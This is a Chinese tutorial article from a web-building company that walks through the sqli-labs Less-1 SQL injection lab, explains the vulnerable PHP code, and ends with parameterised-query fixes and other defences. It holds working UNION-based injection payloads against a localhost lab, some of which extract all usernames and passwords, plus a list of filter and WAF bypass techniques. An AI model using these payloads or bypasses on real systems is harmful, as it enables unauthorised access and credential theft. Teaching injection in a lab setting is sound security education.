尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

SQL注入实战:从sqli-labs Less-1入门Web安全攻防

SQL注入实战:从sqli-labs Less-1入门Web安全攻防 1. 从靶场到实战为什么SQL注入依然是Web安全的“必修课”如果你刚接触网络安全或者想从CTFCapture The Flag靶场入手那么“sqli-labs”这个项目几乎是绕不开的名字。它是一个专门为学习SQL注入攻击与防御技术而设计的开源靶场而“Less-1”则是整个系列的第一关通常也是最经典、最基础的关卡。你可能在网上看过很多“通关攻略”告诉你输入?id1 and 11--就能过关但知其然更要知其所以然。这篇文章我想从一个有多年渗透测试和代码审计经验的角度和你一起重新“通关”Less-1。我们的目标不是简单地复制粘贴Payload而是彻底理解这背后每一步的原理、服务器的响应逻辑、以及如何将这种靶场思维转化为在真实渗透测试或代码审计中发现问题、理解问题的能力。毕竟靶场是理想化的沙盒而真实世界的应用千奇百怪只有理解了本质才能应对变化。2. Less-1 环境搭建与核心代码逻辑拆解在开始“攻击”之前我们必须先成为“建造者”。理解靶场的运行机制是理解漏洞成因的前提。sqli-labs通常使用PHPMySQL环境搭建。2.1 靶场环境快速部署要点虽然你可以直接使用在线的sqli-labs环境但我强烈建议在本地如使用Docker、XAMPP、PHPStudy等搭建一套。本地环境能让你拥有最高权限可以随时查看后端代码、数据库状态和日志这对于深度学习至关重要。部署时需要注意几个细节数据库初始化sqli-labs的GitHub仓库中通常包含一个sql-lab.sql文件。你需要将其导入到MySQL中以创建所需的数据库如security和数据表如users。这一步经常被新手忽略导致靶场页面无法正常显示数据。数据库连接配置检查sql-connections目录下的db-creds.inc或类似文件确保其中的数据库主机通常是localhost、用户名、密码和数据库名security与你本地环境一致。PHP版本兼容性老版本的sqli-labs可能在新版PHP如PHP 7.x/8.x上遇到函数弃用或语法警告。常见的如mysql_*函数在PHP 7.0后被移除sqli-labs使用的是mysqli或mysql需确保你的PHP环境支持。如果遇到错误可能需要根据错误信息微调代码。2.2 Less-1 源代码深度解析Less-1的入口文件通常是Less-1/index.php。它的代码结构是理解一切的基础。下面我们逐段分析一个典型的Less-1后端处理逻辑代码已做简化讲解// 从GET请求中获取‘id’参数未传入则默认为1 $id $_GET[id]; // 关键漏洞点未经过任何过滤直接将用户输入拼接到SQL字符串中 $sql SELECT * FROM users WHERE id$id LIMIT 0,1; // 执行查询 $result mysqli_query($con, $sql) or die(font color #FFFF00 . mysqli_error($con) . /font); // 获取结果并以关联数组形式返回一行 $row mysqli_fetch_array($result, MYSQLI_ASSOC); // 显示查询结果 if($row) { echo Your Login name: .$row[username]; echo Your Password: .$row[password]; } else { echo 无法获取结果; }这段代码的“致命伤”清晰可见$id $_GET[id];直接信任了来自用户浏览器地址栏或任何可发送GET请求的工具的输入。$sql SELECT * FROM users WHERE id$id LIMIT 0,1;采用字符串拼接的方式构造SQL语句。这里用单引号将变量$id包裹意图是将其作为字符串值传入。这正是注入的突破口。or die(...)这段代码配置了错误回显。当SQL语句执行出错时会通过mysqli_error()函数将MySQL的具体错误信息打印到页面上。这为我们进行基于错误回显的SQL注入提供了极其重要的信息。理解这个逻辑链至关重要用户输入 → 直接拼接 → 形成可被数据库解析的指令 → 执行并返回结果或错误。我们的所有注入尝试本质上都是在精心构造一个输入使得它被拼接进这个SQL语句模板后能改变原语句的语义实现我们想要的操作如绕过验证、获取数据、探测结构。3. 手工注入实战一步步拆解Less-1的防御现在我们假设靶场运行在http://localhost/sqli-labs/Less-1/。我们的任务是通过操纵id参数获取数据库信息。3.1 第一步确认注入点与注入类型访问http://localhost/sqli-labs/Less-1/?id1页面正常显示用户ID为1的用户名和密码如Dumb, Dumb。这说明参数被正常接收和处理。测试1引入单引号触发语法错误访问http://localhost/sqli-labs/Less-1/?id1页面很可能返回一个MySQL错误例如You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0,1 at line 1为什么我们输入的1被代入语句后变成SELECT * FROM users WHERE id1 LIMIT 0,1这里出现了两个连续的单引号在SQL中这是一个转义的单引号字符串内容但紧接着语句的闭合单引号之后多出了一个我们输入的引号导致语法错误。这初步证实了参数被放在单引号中且存在注入可能。测试2构造永真条件测试注入是否成功访问http://localhost/sqli-labs/Less-1/?id1 and 11代入后语句为SELECT * FROM users WHERE id1 and 11 LIMIT 0,1and 11是一个永远为真的条件所以整个WHERE子句依然为真页面应正常显示ID1的用户信息。测试3构造永假条件观察页面差异访问http://localhost/sqli-labs/Less-1/?id1 and 12代入后语句为SELECT * FROM users WHERE id1 and 12 LIMIT 0,1and 12永远为假导致整个WHERE条件为假查询不到数据。页面可能显示“无法获取结果”或空白。通过与测试2的对比我们确认了可以通过注入逻辑改变查询结果即注入点存在且可利用。注意这里我们使用了11这种形式来闭合引号而不是常见的--注释掉后续部分。这是因为在测试初期我们想先验证注入类型。Less-1的典型解法确实是用注释符但理解多种闭合方式更有助于应对复杂场景。3.2 第二步利用联合查询UNION获取数据库信息确认注入点后我们需要获取更多信息。UNION SELECT是利器它允许我们将额外的查询结果附加到原始查询之后。第一步判断当前查询的列数UNION操作要求前后两个SELECT语句的列数必须相同。我们使用ORDER BY子句来探测。ORDER BY 1按第一列排序通常成功。ORDER BY 2按第二列排序成功。ORDER BY 3按第三列排序成功。ORDER BY 4访问http://localhost/sqli-labs/Less-1/?id1 order by 4--代入后SELECT * FROM users WHERE id1 order by 4-- LIMIT 0,1如果order by 4超出了结果集的列数数据库会报错。通过错误或页面异常我们可以确定列数。在Less-1中order by 4通常会报错而order by 3正常说明原始查询返回3列。第二步确定各列在页面中的输出位置我们需要知道这3列中哪几列的内容会被回显到网页上以便将我们想要的信息“投射”到这些位置。 访问http://localhost/sqli-labs/Less-1/?id-1 union select 1,2,3--这里有几个关键技巧将原始查询结果置空通过设置id-1一个不存在的ID让前半部分SELECT * FROM users WHERE id-1查询结果为空。这样页面显示的就完全是UNION后面select 1,2,3的结果。使用数字占位select 1,2,3会产生一个三列的结果集值分别是1,2,3。如果页面某处显示了“2”或“3”就说明对应的那一列会被回显。注释符的使用--是MySQL中的单行注释符--后面必须跟一个空格在URL中常被编码为空格。它用于注释掉原SQL语句中之后的部分即LIMIT 0,1避免其干扰我们的UNION查询。执行后页面很可能在原本显示“用户名”和“密码”的地方分别显示出数字2和3。这说明第2列和第3列是回显点。3.3 第三步系统信息收集与数据库结构探测现在我们可以把2和3的位置替换成我们想要查询的函数或语句。获取基础信息数据库版本http://localhost/sqli-labs/Less-1/?id-1 union select 1,version(),database()--version()返回MySQL版本database()返回当前数据库名通常是security。这样我们就能在页面上看到版本号和库名。当前用户http://localhost/sqli-labs/Less-1/?id-1 union select 1,user(),version_compile_os--user()返回当前数据库连接的用户version_compile_os返回操作系统信息。获取security数据库中的所有表名在MySQL中数据库的元数据如表名、列名存储在名为information_schema的系统数据库中。http://localhost/sqli-labs/Less-1/?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--information_schema.tables存储所有表信息的系统表。table_schemadatabase()条件限定为当前数据库。group_concat(table_name)将查询到的所有表名合并成一个字符串避免因LIMIT 0,1的限制只返回一条记录。执行后你可能会看到emails,referers,uagents,users等表名。我们显然对users表最感兴趣。获取users表的所有列名http://localhost/sqli-labs/Less-1/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_nameusers--执行后可能会得到id,username,password。3.4 第四步最终数据提取现在我们可以直接查询users表中的敏感数据了。http://localhost/sqli-labs/Less-1/?id-1 union select 1,group_concat(username),group_concat(password) from users--这条语句会一次性将users表中所有的用户名和密码分别合并并显示在页面的两个回显点上。至此Less-1的核心目标——获取所有用户凭证——已经完成。4. 从注入过程反思漏洞根源与安全编码通关固然有成就感但作为开发者或安全人员我们更应关注如何避免写出这样的代码。4.1 漏洞根源深度剖析Less-1的漏洞是基于错误的字符型联合查询注入。其根源在于信任了不可信的输入源Web请求参数GET/POST/COOKIE等是完全可以由攻击者控制的将其视为可信数据是万恶之源。字符串拼接构造SQL这是最直接的漏洞引入方式。任何将用户输入与SQL语句字符串直接“相加”的操作都极其危险。错误信息详细回显在生产环境中将数据库错误信息直接展示给用户是重大失误。这为攻击者提供了调试信息降低了注入难度。4.2 根本性解决方案参数化查询预编译语句修复此类漏洞绝对不应该使用简单的字符串替换或过滤关键字如addslashes、mysql_real_escape_string在特定字符集下仍可能被绕过而应使用参数化查询Prepared Statements。以PHP的MySQLi扩展为例修复后的代码应该是$id $_GET[id]; // 准备SQL语句模板使用问号?作为参数占位符 $stmt $con-prepare(SELECT * FROM users WHERE id? LIMIT 0,1); // 将变量$id绑定到占位符并指定其类型为字符串‘s’ $stmt-bind_param(s, $id); // 执行查询 $stmt-execute(); // 获取结果 $result $stmt-get_result(); $row $result-fetch_assoc(); // ... 后续显示逻辑为什么参数化查询是安全的它的核心原理是将SQL语句的逻辑结构代码与数据参数分开发送给数据库服务器。准备阶段数据库引擎解析SELECT * FROM users WHERE id? LIMIT 0,1这个模板理解其语法结构并生成执行计划。绑定与执行阶段将用户输入的$id值作为纯数据发送过去。此时即使$id包含1 and 11--数据库也只会将其视为一个完整的字符串值去匹配id字段而不会将其解析为SQL指令的一部分。从根本上杜绝了“数据”变成“代码”的可能性。4.3 其他防御层补充最小权限原则连接数据库的应用程序账号不应拥有DROP、FILE、GRANT等高级权限通常只赋予SELECT、INSERT、UPDATE、DELETE等必要权限。自定义错误处理在生产环境关闭详细的数据库错误回显使用统一的、模糊的错误页面避免泄露系统信息。Web应用防火墙WAF在应用层部署WAF可以拦截常见的SQL注入攻击模式作为一道额外的防线。但它不能替代安全的代码。输入验证与过滤在业务逻辑允许的范围内对输入进行严格校验。例如如果id参数本应只是数字那么在接受输入时就用intval()或is_numeric()进行校验和转换。5. 靶场之外的思考真实场景中的SQL注入变种Less-1是一个理想化的教学模型。真实世界的注入往往更隐蔽、更复杂。5.1 注入点位置的变化POST注入注入参数隐藏在POST请求体中而非URL。攻击工具需要切换请求方法。Cookie注入应用程序将用户标识等信息存放在Cookie中并用于数据库查询如果未过滤则形成Cookie注入。HTTP头注入User-Agent、X-Forwarded-For等HTTP头部信息被记录到数据库时也可能成为注入点。二次注入数据第一次存入数据库时经过了转义是安全的。但当它被从数据库中取出再次拼接到新的SQL语句中时如果未经过滤就会引发注入。这类漏洞更难通过常规扫描发现。5.2 防御机制的绕过过滤空格使用/**/、%0a换行符、%0b垂直制表符、%0c换页符、括号()等方式绕过。过滤关键词使用大小写变形SeLeCt、双写绕过selselectect、等价函数/语句替换mid()代替substring()、编码十六进制、URL编码等方式。WAF绕过利用特殊的语法特性、分块传输、协议层干扰等技术来绕过WAF的检测规则。5.3 盲注没有错误回显的“黑暗”攻击这是Less-1之后更常见的关卡类型如Less-5。页面不会显示数据库错误也不会直接输出查询数据。攻击者只能通过观察页面行为的细微差异如返回内容真假、响应时间长短来逐位推断数据。这需要用到if()、sleep()等函数通过布尔盲注或时间盲注技术进行攻击过程缓慢但同样致命。通关sqli-labs的Less-1绝不是输入一个Payload然后点下一步那么简单。它是一次完整的、从黑盒测试到白盒审计的思维训练。通过手动构造每一个参数观察每一次响应你实际上是在模拟一个攻击者的完整思考链路信息收集、漏洞探测、利用扩展、数据获取。而作为防御方理解了这个链路你就能在代码层面、架构层面部署更有效的防线。安全是一个攻防对抗的动态过程而扎实的基础正是从这样一个个看似简单的“通关”开始。当你再看到一段数据库查询代码时希望你的第一反应不再是“它能跑通”而是“它安全吗用户输入在哪里它是如何被处理的”。这才是学习sqli-labs乃至学习任何安全技术的真正价值所在。
返回列表